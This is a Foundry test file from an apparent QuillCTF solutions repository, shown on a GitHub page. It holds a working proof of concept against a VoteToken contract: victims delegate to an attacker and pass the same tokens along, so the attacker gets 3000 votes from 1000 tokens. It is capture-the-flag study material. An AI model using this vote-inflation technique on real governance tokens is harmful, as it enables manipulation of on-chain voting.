-
Notifications
You must be signed in to change notification settings - Fork 116
/
VotingMachine.t.sol
53 lines (44 loc) · 1.41 KB
/
VotingMachine.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.7;
import "forge-std/Test.sol";
import {VoteToken} from "../../src/QuillCTF/VotingMachine.sol";
contract VotingMachineTest is Test {
VoteToken public voteToken;
address public victim1;
address public victim2;
address public victim3;
address public deployer;
address public attacker;
function setUp() public {
victim1 = vm.addr(1);
victim2 = vm.addr(2);
victim3 = vm.addr(3);
deployer = vm.addr(4);
attacker = vm.addr(5);
vm.startPrank(deployer);
voteToken = new VoteToken();
voteToken.mint(victim1, 1000);
vm.stopPrank();
}
function testVotingMachineExploit() public {
// Before Exploit
assertEq(voteToken.getVotes(attacker), 0);
assertEq(voteToken.balanceOf(attacker), 0);
// Exploit
vm.startPrank(victim1);
voteToken.delegate(attacker);
voteToken.transfer(victim2, 1000);
vm.stopPrank();
vm.startPrank(victim2);
voteToken.delegate(attacker);
voteToken.transfer(victim3, 1000);
vm.stopPrank();
vm.startPrank(victim3);
voteToken.delegate(attacker);
voteToken.transfer(attacker, 1000);
vm.stopPrank();
// After Exploit
assertEq(voteToken.getVotes(attacker), 3000);
assertEq(voteToken.balanceOf(attacker), 1000);
}
}